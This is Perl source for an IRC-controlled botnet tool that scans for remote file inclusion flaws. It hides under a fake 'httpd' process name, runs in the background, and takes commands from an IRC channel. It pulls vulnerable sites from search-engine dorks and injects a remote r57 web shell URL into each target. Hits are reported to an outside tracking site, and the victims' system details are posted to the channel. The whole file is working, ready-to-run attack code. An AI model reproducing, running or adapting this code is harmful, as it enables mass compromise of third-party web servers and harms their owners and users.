#!/usr/bin/perl 
#  powered by alboss paradise @
#  irc.ascnet.biz ; irc.fier1.com ; irc.securityfuckus.com
#  www.xshqiptaretx.org

use IO::Socket::INET; 
use HTTP::Request; 
use LWP::UserAgent;
my $processo = "httpd -SascSL"; 
if (`ps aux` =~ /httpd -SascSL/){exit;}        
my $cmd="http://www.catim.com/legislacao/.bht/r57.jpg?"; 
my $server="irc.epro-team.net"; 
my $porta="6667"; 
my $nick="[scan]RFI[".int(rand(1000))."]";
my $canale="#epro"; 
my $server2="irc.epro-team.net"; 
my $port2="6667"; 
my $verbot="6.9"; 
$0="$processo"."\0"x16; 
my $pid=fork; 
exit if $pid; 
die "Problem with fork!: $!" unless defined($pid);
my $sk = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server", PeerPort=>"$porta",) or die "Cannot connect to server!\n"; 
$sk->autoflush(1); 
print $sk "NICK $nick\r\n"; 
print $sk "USER infects X * :4,1irc.brasvip.org : #INFECTS CHANNEL\r\n"; 
print $sk "JOIN $canale\r\n";
print $sk "PRIVMSG $canale :4 .:: [3SHELLS ( RFI ) SCANNER STARTED] 4 ::.\r\n";
print $sk "PRIVMSG $canale :4 .:: 3!!! /join #INFECTS FOR !help ON !!!4 ::.\r\n";
while($line = <$sk>){
print $line;
$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/){
print "PONG :$1";
print $sk "PONG :$1\r\n";}
if ($line =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
stampa($sk, "NOTICE $pn :\001VERSION XChat 2.6.7 by ALBANIA\001");}}
if ($line =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
print $sk "JOIN $canale\r\n";}
if ($line=~ /PRIVMSG $canale :.help/){ 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1HELP] 9,1/join #INFECTS FOR !help4 ::.");}
if ($line=~ /PRIVMSG $canale :.info/){ 
my $sysos = `uname -sr`; 
my $uptime = `uptime`; 
if ($sysos =~ /freebsd/i ) { 
$sysname = `hostname`; 
$memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;  
$swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`; 
chomp($memory); 
chomp($swap);} 
elsif ( $sysos =~ /linux/i ) { 
$sysname = `hostname -f`; 
$memory = `free -m |grep -i mem | awk '{print \$2}'`; 
$swap = `free -m |grep -i swap | awk '{print \$2}'`; 
chomp($swap); 
chomp($memory);} 
else { 
$sysname ="No Found";;  
$memory ="No found"; 
$swap ="No Found";} 
$uptime=~s/\n//g; 
$sysname=~s/\n//g; 
$sysos=~s/\n//g; 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Info] 9,1IrcServer/Port:7,1 $server2 - $port24 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Info] 9,1Os/Hostname:7,1 $sysos - $sysname4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Info] 9,1Process/PID:7,1 $processo - $$4 ::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Info] 9,1Uptime:7,1 $uptime4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Info] 9,1Memory/Swap:7,1 $memory - $swap4 ::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Info] 9,1Perl/Bot Version:7,1 $] - $verbot4 ::.");} 
if ($line=~ /PRIVMSG $canale :.rfi\s+(.*?)\s+(.*)/){ 
if (my $pid = fork) { 
waitpid($pid, 0); 
} else { 
if (fork) { 
exit; 
} else { 
my $bug=$1; 
my $dork=$2; 
if ($bug =~ /=/) {} 
else { 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1GAY/LAMMER/NOOB/BIBA] 9,1DETECTED, U AREN'T ALOWEED TO SCANN ANYMORE OK !!! cuz u don't know...4 ::.");exit;}
my $contatore=0; 
my ($type,$space); 
my %hosts; 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1String(s)] 7,1$dork4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Path] 7,1$bug4 ::.");  
my @glist=&google($dork); 
my @mlist=&msn($dork); 
my @alist=&altavista($dork); 
my @uollist=&uol($dork); 
my @asklist=&ask($dork); 
my @ylist=&yahoo($dork); 
my @altlist=&alltheweb($dork); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1Ok founds sites for [4,1String(s)] 7,1$dork4 ::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1Google ".scalar(@glist)." Sites!4 ::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1MsN ".scalar(@mlist)." Sites!4 ::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1Altavista ".scalar(@alist)." Sites!4 ::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1AllTheWeb ".scalar(@altlist)." Sites!4 ::.");
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1UoL ".scalar(@uollist)." Sites!4 ::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1Yahoo ".scalar(@ylist)." Sites!4 ::.");
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 9,1AsK ".scalar(@asklist)." Sites!4 ::.");  
push(my @tot,@glist,@mlist,@uollist,@aollist,@asklist,@altlist,@ylist); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 7,1We got a totales of ".scalar(@tot)." Sites!4 ::."); 
my @puliti=&unici(@tot); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1Searchers] 7,1Cleaned Websites Founds ".scalar(@puliti)." Sites!4 ::."); 
my $uni=scalar(@puliti); 
foreach my $sito (@puliti){ 
$contatore++; 
if ($contatore %100==0){} 
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale :4 .:: [4,1.. #INFECTS rfi scanner...] 9,1Scann Finished For [4String(s)] 7,1$dork4 ::.");
stampa($sk, "PRIVMSG $canale : 4POWERED BY INFECTS CHANNEL");} 
my $test="http://".$sito.$bug.$cmd."????"; 
my $print="http://".$sito.$bug."http://inimigo.t35.com/read.txt"."????"; 
my $req=HTTP::Request->new(GET=>$test); 
my $ua=LWP::UserAgent->new(); 
$ua->timeout(5); 
my $response=$ua->request($req); 
if ($response->is_success) { 
my $re=$response->content; 
if($re =~ /ALBANIA/ && $re =~ /uid=/){ 
my $punked="http://www.xshqiptaretx.org/list/index.php?off=$test";
my $poster=HTTP::Request->new(GET=>$punked);
my $resa=$ua->request($poster);
my $hs=geths($print); $hosts{$hs}++; 
if($hosts{$hs}=="1"){ 
$x=os($test);
stampa($sk, "PRIVMSG $canale :4 .:: [4,1SafeMode] (3 OFF ) $print 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1uname -a] (3$alb ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1uptime] (3$alb2 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1id] (3$alb3 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1pwd] (3$alb4 ) 4::.");   
stampa($sk, "PRIVMSG $canale :4 .:: [4,1user] (3$alb9 ) 4::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1phpv] (3$alb6 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1SoftWare] (3$alb5 ) 4::.");
stampa($sk, "PRIVMSG $canale :4 .:: [4,1ServerAddr] (3$alb7 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1ServerName] (3$alb8 ) 4::.");}} 
elsif($re =~ /ALBANIA/){
my $punked1="http://www.xshqiptaretx.org/list/index.php?on=$test";
my $poster1=HTTP::Request->new(GET=>$punked1);
my $resa=$ua->request($poster1);
my $hs=geths($print); $hosts{$hs}++; 
if($hosts{$hs}=="1"){ 
$x=os($test);
stampa($sk, "PRIVMSG $canale :4 .:: [4,1SafeMode] (4 ON ) $print 4::.");
stampa($sk, "PRIVMSG $canale :4 .:: [4,1uname -a] (4$alb ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1uptime] (4$alb2 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1id] (4$alb3 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1pwd] (4$alb4 ) 4::.");
stampa($sk, "PRIVMSG $canale :4 .:: [4,1user] (4$alb9 ) 4::.");    
stampa($sk, "PRIVMSG $canale :4 .:: [4,1phpv] (4$alb6 ) 4::."); 
stampa($sk, "PRIVMSG $canale :4 .:: [4,1SoftWare] (4$alb5 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1ServerAddr] (4$alb7 ) 4::.");  
stampa($sk, "PRIVMSG $canale :4 .:: [4,1ServerName] (4$alb8 ) 4::.");
}}}}}exit;}}} 
sub stampa() { 
if ($#_ == '1') { 
my $sk = $_[0]; 
print $sk "$_[1]\n"; 
} else { 
print $sk "$_[0]\n";}} 
sub os(){ 
my $sito=$_[0]; 
my $Res=query($sito);  
while($Res=~m/<br>uname -a:(.+?)\<br>/g){
$alb=$1;}
while($Res=~m/<br>uptime:(.+?)\<br>/g){
$alb2=$1;}
while($Res=~m/<br>id:(.+?)\<br>/g){
$alb3=$1;}
while($Res=~m/<br>pwd:(.+?)\<br>/g){
$alb4=$1;}
while($Res=~m/<br>user:(.+?)\<br>/g){
$alb9=$1;}
while($Res=~m/<br>phpv:(.+?)\<br>/g){
$alb6=$1;}
while($Res=~m/<br>SoftWare:(.+?)\<br>/g){
$alb5=$1;}
while($Res=~m/<br>ServerAddr:(.+?)\<br>/g){
$alb7=$1;}
while($Res=~m/<br>ServerName:(.+?)\<br>/g){
$alb8=$1;}
sub google(){ 
my @lst; 
my $key = $_[0]; 
for($b=0;$b<=3000;$b+=100){ 
my $Go=("http://www.google.co.uk/search?hl=en&q=".key($key)."&btnG=&meta=&num=100&filter=0&start=".$b); 
my $Res=query($Go); 
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){ 
if ($1 !~ /google/){ 
my $k=$1; 
my @grep=links($k); 
push(@lst,@grep);}}} 
return @lst;} 
sub altavista(){ 
my @lst; 
my $key = $_[0]; 
for($b=1;$b<=3000;$b+=100){ 
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b); 
my $Res=query($AlT); 
while($Res=~m/<span class=ngrn>(.+?)\//g){ 
if($1 !~ /altavista/){ 
my $k=$1; 
$k=~s/<//g; 
$k=~s/ //g; 
my @grep=links($k); 
push(@lst,@grep);}}
if ($Res =~ /target=\"_self\">Succ/){}
else{return @lst;}} 
return @lst;}
sub yahoo(){ 
my @lst; 
my $key = $_[0]; 
for($b=1;$b<=3000;$b+=100){ 
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b); 
my $Res=query($Ya); 
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1; 
$k=~s/<b>//g; 
$k=~s/<\/b>//g; 
$k=~s/<wbr>//g; 
my @grep=links($k); 
push(@lst,@grep);}} 
return @lst;} 
sub alltheweb(){ 
my @lst; 
my $key=$_[0]; 
my $i=0; 
my $pg=0; 
for($i=0; $i<=4000;$i+=100){
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i); 
my $Res=query($all); 
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){ 
my $k=$1; 
$k=~s/ //g; 
my @grep=links($k); 
push(@lst,@grep);}} 
return @lst;} 
sub lycos(){ 
my @lst; 
my $key = $_[0]; 
for($b=1;$b<=3000;$b+=100){ 
my $LyCoS=("http://search.lycos.com/?query=".key($key)."&page=".$i); 
my $Res=query($LyCoS); 
while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){
my $k=$1; 
if($k!~/busca|lycos|yahoo/){ 
my $k=$1; 
my @grep=links($k); 
push(@lst,@grep);}}} 
return @lst;} 
sub msn(){ 
my @lst; 
my $key = $_[0]; 
for($b=1;$b<=3000;$b+=100){ 
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE"); 
my $Res=query($MsN); 
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){ 
if($1 !~ /msn|live/){ 
my $k=$1; 
my @grep=links($k); 
push(@lst,@grep);}}
if ($Res =~ /nextPage disabled/)
{return @lst;}}
return @lst;} 
sub ask(){ 
my @lst; 
my $key=$_[0]; 
my $i=0; 
my $pg=0; 
for($i=0; $i<=3000;$i+=100){ 
my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all"); 
my $Res=query($Ask); 
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){ 
my $k=$3;
$k=~s/[\"\ ]//g; 
my @grep=links($k); 
push(@lst,@grep);}} 
return @lst;}
sub uol(){ 
my @lst; 
my $key = $_[0]; 
for($b=1;$b<=3000;$b+=100){ 
my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i); 
my $Res=query($UoL); 
while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){ 
my $k=$1; 
if($k!~/busca|uol|yahoo/){ 
my $k=$1; 
my @grep=links($k); 
push(@lst,@grep);}}} 
return @lst;} 
sub links(){ 
my @l; 
my $link=$_[0]; 
my $host=$_[0]; 
my $hdir=$_[0]; 
$hdir=~s/(.*)\/[^\/]*$/\1/; 
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/; 
$host.="/"; 
$link.="/"; 
$hdir.="/"; 
$host=~s/\/\//\//g; 
$hdir=~s/\/\//\//g; 
$link=~s/\/\//\//g; 
push(@l,$link,$host,$hdir); 
return @l;} 
sub geths(){ 
my $host=$_[0]; 
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/; 
return $host;} 
sub key(){ 
my $chiave=$_[0]; 
$chiave =~ s/ /\+/g; 
$chiave =~ s/:/\%3A/g; 
$chiave =~ s/\//\%2F/g; 
$chiave =~ s/&/\%26/g; 
$chiave =~ s/\"/\%22/g; 
$chiave =~ s/,/\%2C/g; 
$chiave =~ s/\\/\%5C/g; 
return $chiave;} 
sub query($){ 
my $url=$_[0]; 
$url=~s/http:\/\///; 
my $host=$url; 
my $query=$url; 
my $page=""; 
$host=~s/href=\"?http:\/\///; 
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/; 
$query=~s/$host//; 
if ($query eq "") {$query="/";}; 
eval{ 
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return; 
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; 
my @r = <$sock>; 
$page="@r"; 
close($sock);}; 
return $page;} 
sub unici{ 
my @unici = (); 
my %visti = (); 
foreach my $elemento ( @_ ){ 
next if $visti{ $elemento }++; 
push @unici, $elemento;}    
return @unici;}}

#  powered by alboss paradise @
#  irc.ascnet.biz ; irc.fier1.com ; irc.securityfuckus.com
#  www.xshqiptaretx.org
